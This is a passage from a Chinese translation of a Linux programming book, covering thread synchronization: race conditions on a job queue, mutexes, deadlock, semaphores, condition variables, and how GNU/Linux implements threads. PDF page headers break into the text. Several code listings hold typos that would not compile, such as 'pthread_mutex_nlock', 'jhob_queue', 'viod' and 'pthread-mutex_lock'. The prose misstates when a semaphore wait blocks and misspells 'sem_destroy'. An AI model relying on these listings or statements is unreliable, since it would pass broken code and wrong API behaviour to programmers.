4.4.1 竞争状态 假设你的程序利用一些线程并行处理一个队列中的任务。这个队列用一个 struct job 对 象组成的链表来表示。 每当一个线程结束操作,它都将检查队列中是否有等待处理的任务。如果 job_queue 不为空,这个线程将从链表中移除第一个对象,然后把 job_queue 指向链表中的下一个对象。 处理任务的线程函数差不多看起来像是列表 4.10 中的样子。 代码列表 4.10 (job-queue1.c) 从队列中删除任务的线程函数 #include <malloc.h> struct job { /* 用于连接链表的域 */ struct job* next; /* 其它的域,用于描述需要处理的任务 */ }; /* 一个链表的等待任务 */ struct job* job_queue; void* thread_function (void* arg) { while (job_queue != NULL) { /* 获取下一个任务 */ struct job* next+job = job_queue; /* 从列表中删除这个任务 */ job_queue = jhob_queue->next; /* 进行处理 */ process_job (next_job); /* 清理 */ free (next_job); } return NULL; } 现在假设有两个线程几乎同时完成了处理工作,但队列中只剩下一个队列。第一个线程 检查 job_queue 是否为空;发现不是,则该线程进入循环,将指向任务对象的指针存入 next_job。这时,Linux 正巧中断了第一个线程而开始运行第二个线程。这第二个线程也检 查任务队列,发现队列中的任务,然后将这同一个任务赋予 next_job。在这种不幸的巧合下, 两个线程将处理同一个任务。 使情况更糟糕一点,我们假设一个线程已将任务从队列中删除,使 job_queue 为空。当 另一个线程执行 job_queue->next 的时候将会产生一个段错误。 www.AdvancedLinuxProgramming.com 65 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 这是一个竞争条件的例子。在“幸运”的情况下,刚才提到的对这两个线程的特定调度 顺序不会出现,竞争条件也许永远也不会被发现。只有在其它一些情况下,譬如当程序运行 在一个高负载的系统(或者,在一个重要客户的新购置的多处理器服务器系统中!)这个 bug 可能会忽然出现。 要消灭竞争状态,你需要通过某种方法使操作具有原子性。一个原子操作是不可分割不 可中断的单一操作;一旦这个操作过程开始,在结束之前将无法被暂停或中断,也不会有其 它的操作同时进行。在这个特定的例子中,你需要将“检查 job_queue;如果它不为空,删 除第一个任务”整个过程作为一个原子操作。 4.4.2 互斥体 对于刚才这个任务队列竞争状态问题的解决方法就是限制在同一时间只允许一个线程 访问任务队列。当一个线程开始检查任务队列的时候,其它线程应该等待直到第一个线程决 定是否处理任务,并在确定要处理任务时删除了相应任务之后才能访问任务队列。 要实现等待这个操作需要操作系统的支持。GNU/Linux 提供了互斥体(mutex,全称 MUTual EXclusion locks,互斥锁)。互斥体是一种特殊的锁:同一时刻只有一个线程可以锁 定它。当一个锁被某个线程锁定的时候,如果有另外一个线程尝试锁定这个互斥体,则这第 二个线程会被阻塞,或者说被置于等待状态。只有当第一个线程释放了对互斥体的锁定,第 二个线程才能从阻塞状态恢复运行。GNU/Linux 保证当多个线程同时锁定一个互斥体的时 候不会产生竞争状态;只有一个线程可能成功锁定,其它线程均将被阻塞。 将互斥体想象成一个盥洗室的门锁。第一个到达门口的人进入盥洗室并且锁上门。如果 盥洗室被占用期间有第二个人想要使用,他将发现门被锁住因此自己不得不在门外等待,直 到里面的人离开。 要创建一个互斥体,首先需要创建一个 pthread_mutex_t 类型的变量,并将一个指向这 个变量的指针作为参数调用 pthread_mutex_init。而 pthread_mutex_init 的第二个参数是一 个指向互斥体属性对象的指针;这个对象决定了新创建的互斥体的属性。与 pthread_create 一样,如果属性对象指针为 NULL,则默认属性将被赋予新建的互斥体对象。这个互斥体变 量只应被初始化一次。下面这段代码展示了创建和初始化互斥体的方法。 pthread_mutex_t mutex; pthread_mutex_init (&mutex, NULL); 另外一个相对简单的方法是用特殊值 PTHREAD_MUTEX_INITIALIZER 对互斥体变 量进行初始化。这样就不必再调用 pthread_mutex_init 进行初始化。这对于全局变量(及 C++ 中的静态成员变量)的初始化非常有用。因此上面那段代码也可以写成这样: pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; 线程可以通过调用 pthread_mutex_lock 尝试锁定一个互斥体。如果这个互斥体没有被 锁定,则这个函数调用会锁定它然后立即返回。如果这个互斥体已经被另一个线程锁定,则 pthread_mutex_lock 会阻塞调用线程的运行,直到持有锁的线程解除了锁定。同一时间可以 有多个线程在一个互斥体上阻塞。当这个互斥体被解锁,只有一个线程(以不可预知的方式 被选定的)会恢复执行并锁定互斥体,其它线程仍将处于锁定状态。 调用 pthread_mutex_unlock 将解除对一个互斥体的锁定。始终应该从锁定了互斥体的 线程调用这个函数进行解锁。 代码列表 4.11 展示了另外一个版本的任务队列。现在我们用一个互斥体保护了这个队 www.AdvancedLinuxProgramming.com 66 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 列。访问这个队列之前(不论读写)每个线程都会锁定一个互斥体。只有当检查队列并移除 任务的整个过程完成,锁定才会被解除。这样可以防止前面提到的竞争状态的出现。 代码列表 4.11 (job-queue2.c) 任务队列线程函数,用互斥体保护 #include <malloc.h> #include <pthread.h> struct job { /* 维护链表结构用的成员。*/ struct job* next; /* 其它成员,用于描述任务。*/ }; /* 等待执行的任务队列。*/ struct job* job_queue; /* 保护任务队列的互斥体。*/ pthread_mutex_t job_queue_mutex = PTHREAD_MUTEX_INITIALIZER; /* 处理队列中剩余的任务,直到所有任务都经过处理。*/ void* thread_function (void* arg) { while (1) { struct job* next_job; /* 锁定保护任务队列的互斥体。*/ pthread_mutex_lock (&job_queue_mutex); /* 现在可以安全地检查队列中是否为空。*/ if (job_queue == NULL) next_job = NULL; else { /* 获取下一个任务。*/ next_job = job_queue; /* 从任务队列中删除刚刚获取的任务。*/ job_queue = job_queue->next; } /* 我们已经完成了对任务队列的处理,因此解除对保护队列的互斥体的锁定。*/ pthread_mutex_nlock (&job_queue_mutex); /* 任务队列是否已经为空?如果是,结束线程。*/ if (next_job == NULL) break; www.AdvancedLinuxProgramming.com 67 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 /* 执行任务。*/ proces_job (next_job); /* 释放资源。*/ free (next_job); } return NULL; } 所 有 对 job_queue 这 个 共 享 的 指 针 的 访 问 都 在 pthread_mutex_lock 和 pthread_mutex_unlock 两个函数调用之间进行。任何一个 next_job 指向的任务对象,都是 在从队列中移除之后才处理的;这个时候其它线程都无法继续访问这个对象。 注意当队列为空(也就是 job_queue 为空)的时候我们没有立刻跳出循环,因为如果立 刻跳出,互斥对象将继续保持锁定状态从而导致其它线程再也无法访问整个任务队列。实际 上,我们通过设定 next_job 为空来标识这个状态,然后在将互斥对象解锁之后再跳出循环。 用互斥对象锁定 job_queue 不是自动完成的;你必须自己选择是否在访问 job_queue 之 前锁定互斥体对象以防止并发访问。如下例,向任务队列中添加一个任务的函数可以写成这 个样子: void enqueue_job (struct job* new_job) { pthread_mutex_lock (&job_queue_mutex); new_job->next = job_queue; job_queue = new-job; pthread_mutex_unlock (&job_queue_mutex); } 4.4.3 互斥体死锁 互斥体提供了一种由一个线程阻止另一个线程执行的机制。这个机制导致了另外一类软 件错误的产生:死锁。当一个或多个线程处于等待一个不可能出现的情况的状态的时候,我 们称之为死锁状态。 最简单的死锁可能出现在一个线程尝试锁定一个互斥体两次的时候。当这种情况出现的 时候,程序的行为取决于所使用的互斥体的种类。共有三种互斥体: · 锁定一个快速互斥体(fast mutex,默认创建的种类)会导致死锁的出现。任何对 锁定互斥体的尝试都会被阻塞直到该互斥体被解锁的时候为止。但是因为锁定该互 斥体的线程在同一个互斥体上被锁定,它永远无法接触互斥体上的锁定。 · 锁定一个递归互斥体(recursive mutex)不会导致死锁。递归互斥体可以很安全地 被锁定多次。递归互斥体会记住持有锁的线程调用了多少次 pthread_mutex_lock; 持有锁的线程必须调用同样次数的 pthread_mutex_unlock 以彻底释放这个互斥体 上的锁而使其它线程可以锁定该互斥体。 · 当尝试第二次锁定一个纠错互斥体(error-checking mutex)的时候,GNU/Linux 会 自动检测并标识对纠错互斥体上的双重锁定;这种双重锁定通常会导致死锁的出 现。第二次尝试锁定互斥体时 pthread_mutex_lock 会返回错误码 EDEADLK。 www.AdvancedLinuxProgramming.com 68 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 默认情况下 GNU/Linux 系统中创建的互斥体是第一种,快速互斥体。要创建另外两种 互斥体,首先应声明一个 pthread_mutexattr_t 类型的变量并且以它的地址作为参数调用 pthread_mutexattr_init 函数,以对它进行初始化。然后调用 pthread_mutexattr_setkind_np 函数设置互斥体的类型;该函数的第一个参数是指向互斥体属性对象的指针,第二个参数如 果 是 PTHREAD_MUTEX_RECURSIVE_NP 则 创 建 一 个 递 归 互 斥 体 , 或 者 如 果 是 PTHREAD_MUTEX_ERRORCHECK_NP 则 创 建 的 将 是 一 个 纠 错 互 斥 体 。 当 调 用 pthread_mutex_init 的时候传递一个指向这个属性对象的指针以创建一个对应类型的互斥 体,之后调用 pthread_mutexattr_destroy 销毁属性对象。 下面的代码片断展示了如何创建一个纠错互斥体; pthread_mutexattr_t attr; pthread_mutex_t mutex; pthread_mutexattr_init (&attr); pthread_mutexattr_setkind_np (&attr, PTHREAD_MUTEX_ERRORCHECK_NP); pthread_mutex_init (&mutex, &attr); pthread_mutexattr_destroy (&attr); 如“np”后缀所指明的,递归和纠错两种互斥体都是 GNU/Linux 独有的,不具有可移 植性(译者注:np 为 non-portable 缩写)。因此,通常不建议在程序中使用这些类型的互 斥体。(当然,纠错互斥体对查找程序中的错误可能很有帮助。) 4.4.4 非阻塞互斥体测试 有时候我们需要检测一个互斥体的状态却不希望被阻塞。例如,一个线程可能需要锁定 一个互斥体,但当互斥体已经锁定的时候,这个线程还可以处理其它的任务。因为 pthread_mutex_lock 会阻塞直到互斥体解锁为止,所以我们需要其它的一些函数来达到我们 的目的。 GNU/Linux 提供了 pthread_mutex_trylock 函数作此用途。当你对一个解锁状态的互斥 体调用 pthread_mutex_trylock 时,就如调用 pthread_mutex_lock 一样会锁定这个互斥体; pthread_mutex_trylock 会 返 回 0 。 而 当 互 斥 体 已 经 被 其 它 线 程 锁 定 的 时 候 , pthread_mutex_trylock 不会阻塞。相应的,pthread_mutex_trylock 会返回错误码 EBUSY。 持有锁的其它线程不会受到影响。你可以稍后再次尝试锁定这个互斥体。 4.4.5 线程信号量 之前的例子中,我们让几个线程从一个队列中取出并处理任务,每个线程函数都会尝试 从队列中取得任务并当没有任务的时候结束线程函数。如果事先给队列中添加好任务,或者 至少以比处理线程提取任务更快的速度向队列中添加新任务,这个模型没有问题。但如果工 作线程速度太快了,任务列表会被清空而处理线程会退出,而再有新任务到达的时候就没有 线程处理任务了。因此,我们更希望有这样一种机制:让工作线程阻塞以等待新的任务的到 达。 信号量可以很方便地做到这一点。信号量是一个用于协调多个线程的计数器。如互斥体 一样,GNU/Linux 保证对信号量的取值和赋值操作都是安全的,不会造成竞争状态。 每个信号量都有一个非负整数作为计数。信号量支持两种基本操作: www.AdvancedLinuxProgramming.com 69 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 · “等待”(wait)操作会将信号量的值减一。如果信号量的值已经是一,这个操作 会阻塞直到(由于其它线程的一些操作)信号量的值成为正值。当信号量的值成为 正值的时候,等待操作会返回,同时信号量的值减一。 · “投递”(post)操作会将信号量的值加一。如果信号量之前的值为零,并且有其 它线程在等待过程中阻塞,其中一个线程就会解除阻塞状态并结束等待状态(同时 将信号量的值重置为 0)。 需要注意的是 GNU/Linux 提供了两种有少许不同的信号量实现。一种是我们这里所说 的兼容 POSIX 标准的信号量实现。当处理线程之间的通信的时候可以使用这种实现。另一 种实现常用于进程间通信,在 5.2 节“进程信号量”中进行了介绍。如果要使用信号量, 应包含头文件 <semaphore.h>。 信号量是用sem_t类型的变量表示的。在使用一个信号量之前,你需要通过sem_init函 数对它进行初始化;sem_init接受一个指向这个信号量变量的指针作为第一个参数。第二个 参数应为 02,而第三个参数则指定了信号量的初始值。当你不再需要一个信号量之后,应 该调用sem_destory销毁它。 我们可以用 sem_wait 对一个信号量执行等待操作,用 sem_post 对一个信号量执行投递 操作。同时 GNU/Linux 还提供了一个非阻塞版本的信号量等待函数 sem_trywait。这个函数 类似 pthread_mutex_trylock——如果当时的情况应该导致阻塞,这个函数会立即返回错误 代码 EAGAIN 而不是造成线程阻塞。 GNU/Linux 同时提供了一个用于获取信号量当前值的函数 sem_getvalue。这个函数将信 号量的值保存在第二个参数(指向一个 int 类型变量的指针)所指向的变量中。不过,你不 应使用从这个函数得到的值作为判断应该执行等待还是投递操作的依据。因为这样做可能导 致竞争状态的出现:其它线程可能在 sem_getvalue 和随后的其它信号量函数之间开始执行 并修改信号量的值。应使用属于原子操作的等待和投递代替这种做法。 回到我们的任务队列例子中。我们可以使用一个信号量来计算在队列中等待处理的任务 数量。代码列表 4.12 使用一个信号量控制队列。函数 enqueue_job 负责向队列中添加一个 任务。 代码列表 4.12 (job-queue3.c) 用信号量控制的任务队列 #include <malloc.h> #include <pthread.h> #include <semaphore.h> struct job { /* 维护链表结构用的成员。*/ struct job* next; /* 其它成员,用于描述任务。*/ }; /* 等待执行的任务队列。*/ www.AdvancedLinuxProgramming.com 70 struct job* job_queue; 2 非 0 值表示的是可以在进程之间共享的信号量。GNU/Linux 系统中的这种信号量不支持在进程之间共 享。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 /* 用于保护 job_queue 的互斥体。*/ pthread_mutex_t job_queue_mutex = PTHREAD_MUTEX_INITIALIZER; /* 用于计数队列中任务数量的信号量。*/ sem_t job_queue_count; /* 对任务队列进行唯一的一次初始化。*/ void initialize_job_queue () { /* 队列在初始状态为空。*/ job_queue = NULL; /* 初始化用于计数队列中任务数量的信号量。它的初始值应为 0。*/ sem_init (&job_queue_count, 0, 0); } /* 处理队列中的任务,直到队列为空。*/ void* thread_function (void* arg) { while (1) { struct job* next_job; /* 等待任务队列信号量。如果值为正,则说明队列中有任务,应将信号量值减一。 如果队列为空,阻塞等待直到新的任务加入队列。*/ sem_wait (&job_queue_count); /* 锁定队列上的互斥体。*/ pthread_mutex_lock (&job_queue_mutex); /* 因为检测了信号量,我们确信队列不是空的。获取下一个任务。*/ next_job = job_queue; /* 将这个任务从队列中移除。*/ job_queue = job_queue->next; /* 解除队列互斥体的锁定因为我们已经不再需要操作队列。*/ pthread_mutex_unlock (&job_queue_mutex); /* 处理任务。*/ process_job (next_job); /* 清理资源。*/ free (next_job); } return NULL; } www.AdvancedLinuxProgramming.com 71 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 /* 向任务队列添加新的任务。*/ void enqueue_job (/* 在这里传递特定于任务的数据…… */) { struct job* new_job; /* 分配一个新任务对象。*/ new_job = (struct job*) malloc (sizeof (struct job)); /* 在这里设置任务中的其它字段……*/ /* 在访问任务队列之前锁定列表。*/ pthread-mutex_lock (&job_queue_mutex); /* 将新任务加入队列的开端。*/ new_job->next = job_queue; job_queue = new_job; /* 投递到信号量通知有新任务到达。如果有线程被阻塞等待信号量,一个线程就会恢复执行并处 理这个任务。*/ sem_post (&job_queue_count); /* 将任务队列解锁。*/ pthread_mutex_unlock (&job_queue_mutex); } 在从队列前端取走任务之前,每个线程都会等待信号量。如果信号量的值是 0,则说明 任务队列为空,线程会阻塞,直到信号量的值恢复正值(表示有新任务到达)为止。 函数 enqueue_job 将一个任务添加到队列中。就如同 thread_function 函数,它需要在 修改队列之前锁定它。在将任务添加到队列之后,它将信号量的值加一以表示有新任务到达。 在列表 4.12 中的版本中,工作线程永远不会退出;当没有任务的时候所有线程都会在 sem_wait 中阻塞。 4.4.6 条件变量 我们已经展示了如何在两个线程同时访问一个变量的时候利用互斥体进行保护,以及如 何使用信号量实现共享的计数器。条件变量是 GNU/Linux 提供的第三种同步工具;利用它 你可以在多线程环境下实现更复杂的条件控制。 假设你要写一个永久循环的线程,每次循环的时候执行一些任务。不过这个线程循环需 要被一个标志控制:只有当标志被设置的时候才运行,标志被清除的时候线程暂停。 代码列表 4.13 显示了你可以通过在不断自旋(重复循环)以实现这一点。每次循环的 时候,线程都检查这个标志是否被设置。因为有多个线程都要访问这个标志,我们使用一个 互斥体保护它。这种实现虽然可能是正确的,但是效率不尽人意。当标志没有被设置的时候, 线程会不断循环检测这个标志,同时会不断锁定、解锁互斥体,浪费 CPU 时间。你真正需 要的是这样一种方法:当标志没有设置的时候让线程进入休眠状态;而当某种特定条件出现 www.AdvancedLinuxProgramming.com 72 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 时,标志位被设置,线程被唤醒。 代码列表 4.13 (spin-condvar.c) 一个简单的条件变量实现 #include <pthread.h> int thread_flag; pthread_mutex_t thread_flag_mutex; void initialize_flag() { pthread_mutex_init (&thread_flag_mutex, NULL); thread_flag = 0; } /* 当标志被设置的时候反复调用 do_work,否则自旋等待。*/ void* thread_function (void* thread_arg) { while (1) { int flag_is_set; /* 用一个互斥体保护标志。*/ pthread-mutex_lock (&thread_flag_mutex); flag_is_set = thread_flag; pthread_mutex_unlock (&thread_flag_mutex); if (flag_is_set) do_work (); /* 否则什么也不做,直接进入下一次循环。*/ } return NULL; } /* 将线程标志的值设置为 flag_value。*/ void set_thread_flag (int flag_value) { /* 用一个互斥体保护线程标志。*/ pthread_mutex_lock (&thread_flag_mutex); thread_flag = flag_value; pthread_mutex_unlock (&thread-flag_mutex); } 条件变量将允许你实现这样的目的:在一种情况下令线程继续运行,而相反情况下令线 www.AdvancedLinuxProgramming.com 73 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 程阻塞。只要每个可能涉及到改变状态的线程正确使用条件变量,Linux 将保证当条件改变 的时候由于一个条件变量的状态被阻塞的线程均能够被激活。 如同信号量,线程可以对一个条件变量执行等待操作。如果线程 A 正在等待一个条件 变量,它会被阻塞直到另外一个线程,设为线程 B,向同一个条件变量发送信号以改变其 状态。不同于信号量,条件变量没有计数值,也不占据内存空间;线程 A 必须在 B 发送信 号之前开始等待。如果 B 在 A 执行等待操作之前发送了信号,这个信号就丢失了,同时 A 会一直阻塞直到其它线程再次发送信号到这个条件变量。 你可以这样使用条件变量以使前面那个例子运行得更有效率: · thread_function 中的循环检查标志。如果标志没有被设置则线程开始等待条件变量。 · set_thread_flag 函数在改变了标志的值之后向条件变量发送信号。这样,如果 thread_function 处于等待条件变量的状态,则它会恢复运行并重新检查标志。 这里有一个问题:检查状态的操作与对条件变量进行的等待或发送信号操作之间可能形 成竞争状态。假设 thread_function 检查了标志,发现标志没有被设置。这时候,Linux 调 度器暂停了这条线程而返回运行主线程。很偶然的,主线程正处于 set_thraed_flag 中。它 设置了标志,然后向条件变量发送了信号。因为这个时候没有线程在等待这个条件变量的信 号(别忘了,thread_function 在开始等待信号量上的事件之前就被暂停了执行),这个信号 就此丢失了。现在,Linux 重新调度并回到原先的线程,这个线程开始等待信号并很可能会 永远等待下去。 要解决这个问题,我们需要用一个互斥体将标志变量和条件变量绑定在一起。幸运的是, GNU/Linux 刚好提供了这个机制。每个条件变量都必须与一个互斥体共同使用,以防止这 种竞争状态的发生。这种设计下,线程函数应遵循以下步骤: 1. thread_function 中的循环首先锁定互斥体并且读取标志变量的值。 2. 如果标志变量已经被设定,该线程将互斥体解锁然后执行工作函数 3. 如果标志没有被设置,该线程自动锁定互斥体并开始等待条件变量的信号 这里最关键的特点就在第三条。这里,GNU/Linux 系统允许你用一个原子操作完成解 除互斥体锁定和等待条件变量信号的过程而不会被其它线程在中途插入执行。这就避免了在 thread_function 中检测标志和等待条件变量的过程中其它线程修改标志变量并对条件变量 发送信号的可能性。 条件变量用 pthread_cond_t 类型表示。别忘了每个条件变量都必须与一个互斥体伴生。 这里是可以用于操作条件变量的函数。 · 通过调用 pthread_cond_init 初始化一个条件变量。第一个参数是一个指向 pthread_cond_t 变量的指针。第二个参数是一个指向条件变量属性对象的指针;这 个参数在 GNU/Linux 系统中是被忽略的。 互斥体对象必须单独被初始化。具体请参考 4.4.2 节“互斥体” · 调用 pthread_cond_signal 向一个条件变量发送信号。在该条件变量上阻塞的线程 将被恢复运行。如果没有线程正在等待这个信号,则这个信号会被忽略。该函数的 参数是一个指向 pthread_cond_t 类型变量的指针。 相似的,pthread_cond_broadcast 函数会将所有等待该条件变量的线程解锁而不是 仅仅解锁一个线程。 · 调用 pthred_cond_wait 会让调用线程阻塞直到条件变量收到信号。该函数的第一 个参数是指向一个 pthread_cond_t 类型变量的指针,第二个参数是指向一个 pthread_mutex_t 类型变量的指针。 当调用 pthread_cond_wait 的时候,互斥体对象必须已经被调用线程锁定。这个函 www.AdvancedLinuxProgramming.com 74 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 数以一个原子操作解锁互斥体并锁定条件变量等待信号。当信号到达且调用线程被 解锁之后,pthread_cond_wait 自动申请锁定互斥体对象。 当你的程序要改变你利用条件变量所维护的程序状态的时候,始终应该遵循以上这些步 骤。(在我们的例子中,我们要保护的就是标志变量的状态,所以每当试图改版标志变量的 值的时候都应该遵循这些步骤。) 1. 锁定与条件变量伴生的互斥体。 2. 执行可能改变程序状态的指令(在我们的例子中,修改标志)。 3. 向条件变量投递或广播信号。这取决于我们希望的行为。 4. 将与条件变量伴生的互斥体解锁。 代码列表 4.14 再次展示了之前的那个例子,不过现在改用条件变量保护标志。注意, 在 thread_function 中,在检测 thread_flag 的值之前我们锁定了互斥体。这个锁会被 pthread_cond_wait 在阻塞之前自动释放,并在阻塞结束后自动重新获取。同时也要注意, set_thread_flag 会在设定 thread_flag 的值之前自动锁定互斥体并向状态变量(译者注:这 里原文为 mutex,疑为 condition variable 笔误)发送信号。 代码列表 4.14 (condvar.c) 用条件变量控制线程 #include <pthread.h> int thread_flag; pthread_cond_t thread_flag_cv; pthread_mutex_t thread_flag_mutex; void initialize_flag () { /* 初始化互斥体和条件变量。*/ pthread_mutex_init (&thread_flag_mutex, NULL); pthread_cond_init (&thread_flag_cv, NULL); /* 初始化标志变量。*/ thread_flag = 0; } /* 如果标志被设置,则反复调用 do_work;否则阻塞。*/ void* thread_function (void* thread_arg) { /* Loop infinitely. */ while (1) { /* 访问标志之前锁定互斥体。*/ pthread_mutex_lock (&thread_flag_mutex); while (!thread_flag) /* 标志被清空。等待条件变量指示标志被改变的信号。信号到达的时候线程解锁, www.AdvancedLinuxProgramming.com 75 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 然后再次循环并检查标志。*/ pthread_cond_wait (&thread_flag_cv, &thread_flag_mutex); /* 当我们到达这里的时候,我们确信标志已经被设置。将互斥体解锁。*/ pthread_mutex_unlock (&thread_flag_mutex); /* 执行任务。*/ do_work (); } return NULL; } /* 将线程标志值设置为 flag_value。*/ viod set_thread_flag (int flag_value) { /* 赋值之前先锁定互斥体。*/ pthread_mutex_lock (&thread_flag_mutex); /* 进行赋值操作,然后对等待标志改变而被阻塞的 thread_function 发送信号。但事实 上 thread_function 必须等待互斥体被解锁才能检查标志。*/ thread_flag = flag_value; pthread_cond_signal (&thread_flag_cv); /* 解除互斥体锁定 */ pthread_mutex_unlock (&thread_flag_mutex); } 条件变量所保护的状态可以相当复杂。不过,在改变任何状态之前都应该首先锁定一个 互斥体,并且在修改操作之后向条件变量发送信号。 条件变量也可以用于不涉及程序状态的情况,而仅用作一种让一个线程阻塞等待其它线 程唤醒的机制。信号量也可用于这个目的。两者之前的主要区别是,当没有线程处于阻塞状 态的时候信号量会“记住”唤醒下一个被阻塞的线程,而条件变量只是简单地丢弃这个信号。 另外,信号量只能发送一个唤醒信息给一个线程,而 pthread_cond_broadcast 可以同时唤 醒不限数量的可以被唤醒的线程。 4.4.7 两个或多个线程的死锁 死锁可能发生在这样一种情况:两个(或更多)线程都在阻塞等待一个只能被其它线程 引发的事件。例如,当线程 A 等待线程 B 向一个条件变量发送信号而线程 B 也在等待线程 A 向一个条件变量发送信号的时候,因为两个线程都永远无法发送对方等待的信号,死锁就 出现了。你应该尽力避免这种情况的发生,因为这种错误很难被察觉。 一个可能引发死锁的常见错误是多个线程试图锁定同一组对象。假设有这样一个程序, 有两个线程运行不同的线程函数却尝试锁定相同的两个互斥体。假设线程 A 先锁定互斥体 A 而后锁定互斥体 B,而线程 B 先锁定互斥体 B 而后尝试锁定互斥体 A。在一个非常不幸的 情况下,Linux 可能让线程 A 运行到成功锁定互斥体 A 之后,然后转而运行线程 B 直到锁 定互斥体 B。接下来,两个线程都被阻塞在对方持有的互斥体上而再也无法继续运行。 不仅是针对互斥体等同步对象,当针对更多种类的资源,例如文件或设备上的锁定进行 同步的时候,更容易造成这种死锁问题。这种问题出现的原因是一组线程以不同的顺序锁定 www.AdvancedLinuxProgramming.com 76 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 同一组资源。解决这个问题的方法就是确保所有线程锁定这些资源的顺序相同,这样就可以 避免死锁的出现。 4.5 GNU/Linux 线程实现 GNU/Linux 平台上的 POSIX 线程实现与其它许多类 UNIX 操作系统上的实现有所不同: 在 GNU/Linux 系统中,线程就是用进程实现的。每当你用 pthread_create 创建一个新线程 的时候,Linux 创建一个新进程运行这个线程的代码。不过,这个进程与一般由 fork 创建的 进程有所不同;具体来说,新进程与父进程共享地址空间和资源,而不是分别获得一份拷贝。 列表 4.15 中的程序 thread-pid 演示了这一点。这个程序首先创建一个线程,随后两个 线程都调用 getpid 并打印各自的进程号,最后分别无限循环。 代码列表 4.15 (thread-pid) 打印线程的进程号 #include <pthread.h> #include <stdio.h> #include <unistd.h> void* thread_function (void* arg) { fprintf (stderr, "child thread pid is %d\n", (int) getpid ()); /* 无限循环 */ while (1); return NULL; } int main () { pthread_t thread; fprintf (stderr, "main thread pid is %d\n", (int) getpid ()); pthread_create (&thread, NULL, &thread_function, NULL); /* 无限循环 */ while (1); return 0; } 在后台运行这个程序,然后调用 ps x 显示运行中的进程。别忘了随后结束 pthread_pid 程序——它浪费无数 CPU 时间却什么也不做。这是一个可能的输出: % cc thread-pid.c -o thread-pid -lpthread % ./thread-pid & [1] 14608 main thread pid is 14608 www.AdvancedLinuxProgramming.com 77 child thread pid is 14610 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 % ps x PID TTY STAT TIME COMMAND 14042 pts/9 S 0:00 bash 14608 pts/9 R 0:01 ./thread-pid 14609 pts/9 S 0:00 ./thread-pid 14610 pts/9 R 0:01 ./thread-pid 14611 pts/9 R 0:00 ps x % kill 14608 [1]+ Terminated ./thread-pid Shell 程序的进程控制提示 以 [1] 开头的行是由 shell 程序输出的。当你在后台运行一个程序,shell 会分配一 个任务控制代码给这个程序——在这里是 1——并打印这个程序的进程号。如果后台程 序终止了,shell 会在你下次执行命令后通知你。 注意这里共有三个进程运行着 thread-pid 程序。第一个,进程号是 14608 的,运行的是 程序的主函数;第三个,进程号是 14610 的,是我们创建来执行 thread_function 的线程。 那么第二个,进程号是 14609 的线程呢?它是“管理线程”,属于 GNU/Linux 线程内部 实现细节。管理线程会在一个程序第一次调用 pthread_create 的时候自动创建。 4.5.1 信号处理 假设一个多线程程序收到了一个信号。究竟哪个线程的信号处理函数会作出响应?线程 和信号之间的互操作在各个 UNIX 变种系统都可能有所不同。在 GNU/Linux 系统中,这个 行为的决定因素在于:线程实际是由进程实现的。 因为每个线程都是一个单独的进程,又因为信号是发送到特定进程的,究竟由哪个线程 接受信号并不会成为一个问题。一般而言,从程序外发送的信号通常都是发送到程序的主线 程。例如,如果一个程序通过 fork 调用产生了新进程运行一个多线程程序,父进程将得到 新程序主线程所在的进程号,并通过这个进程号发送信号。当你试图向一个多线程程序发送 信号的时候,通常也应该遵循这个方法。 要注意的是 GNU/Linux 系统中 pthread 库的实现与 POSIX 线程标准的区别。在注重可 移植性的程序中不要依赖程序的特定行为。 在一个多线程程序中,一个线程可以给另一个特定线程发送信号。函数 pthread_kill 可 以做到这一点。该函数的第一个参数是线程号,第二个参数则是信号的值。 4.5.2 clone 系统调用 虽然同一个程序中产生的线程被实现作不同的进程,所有线程都共享虚拟内存和其它资 源。而通过 fork 创建的子进程则得到所有这些的独立副本。前一种进程究竟是怎么创建的? Linux 的 clone 系统调用是一个更通用版本的 fork 和 pthread_create。它允许调用者指 定哪些资源应在新旧进程之间共享。同时,clone 要求你指定新进程运行所需的栈空间所在 的内存区域。虽然我们在这里介绍了这个系统调用以满足读者的好奇心,clone 系统调用通 常不应该出现在程序中。应该调用 fork 创建新进程而调用 pthread_create 创建新线程。 www.AdvancedLinuxProgramming.com 78 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 4.6 进程 Vs. 线程 对于一些从并发处理中受益的程序而言,多进程还是多线程可能很难被抉择。这里有一 些基本方针可以帮助你判断哪种模型更适合你的程序: · 一个程序的所有线程都必须运行同一个执行文件。而一个新进程则可以通过 exec 函数运行一个新的执行文件。 · 由于所有线程共享地址空间和资源,一个错误的线程可能影响所有其它线程。例如, 通过未经初始化的指针非法访问内存可能破坏其它线程所使用的内存。 而一个错误的进程则不会造成这样的破坏因为每个进程都有父进程的地址空间的 完整副本。 · 为新进程复制内存会比创建新线程存在性能方面的损失。不过,由于只有当对内存 进行写入操作的时候复制操作才会发生,如果新进程只对内存执行读取操作,性能 损失可能微乎其微。 · 对于需要精细并行控制的程序,线程是更好的选择。例如,如果一个问题可以被分 解为许多相对独立的子任务,用线程处理可能更好。进程适合只需要比较粗糙的并 行程序。 · 由于线程之间共享地址空间,共享数据是一件简单的任务。(不过如前所述,必须 倍加小心防范竞争状态的出现。)进程之间共享属于要求使用第五章中介绍的各种 IPC 机制。这虽然显得更麻烦而笨重,但同时避免了许多并行程序错误的出现。 www.AdvancedLinuxProgramming.com 79 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 第五章:进程间通信 第三章“进程”中我们讨论了进程的创建方法,也展示了一个进程如何获取子进程的退 